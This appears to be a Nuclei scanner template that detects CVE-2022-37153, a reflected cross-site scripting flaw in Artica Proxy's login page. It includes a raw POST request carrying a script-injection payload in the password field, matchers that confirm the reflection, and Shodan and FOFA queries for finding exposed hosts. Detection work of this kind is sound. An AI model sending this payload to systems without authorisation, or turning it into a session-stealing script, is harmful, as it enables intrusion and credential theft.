id: CVE-2022-37153

info:
  name: Artica Proxy 4.30.000000 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Artica Proxy 4.30.000000 contains a cross-site scripting vulnerability via the password parameter in /fw.login.php.
  impact: |
    Attackers can inject malicious JavaScript through the password parameter in the Artica Proxy login page that reflects back to users, potentially stealing credentials or session tokens when victims submit the login form.
  remediation: |
    Upgrade to a patched version of Artica Proxy or apply the vendor-supplied patch to mitigate the vulnerability.
  reference:
    - https://github.com/Fjowel/CVE-2022-37153
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37153
    - https://github.com/SYRTI/POC_to_review
    - https://github.com/WhooAmii/POC_to_review
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-37153
    cwe-id: CWE-79
    epss-score: 0.01442
    epss-percentile: 0.70622
    cpe: cpe:2.3:a:articatech:artica_proxy:4.30.000000:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: articatech
    product: artica_proxy
    shodan-query:
      - http.html:"Artica"
      - http.html:"artica"
    fofa-query: body="artica"
  tags: cve,cve2022,xss,artica,articatech,vkev,vuln

http:
  - raw:
      - |
        POST /fw.login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userfont=&artica-language=&StandardDropDown=&HTMLTITLE=&username=admin&password=admin%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="admin"><script>alert(document.domain)</script>'
          - 'Artica Web'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db9853c35fd198d86dbf2faf68f37892bbddf00c94026bf8784b0fc7aa049dc002204d17d7249c2c0e54ad83a470855f68c3b633b8a7220609b1ce2376a5e9f69441:922c64590222798bb761d5b6d8e72950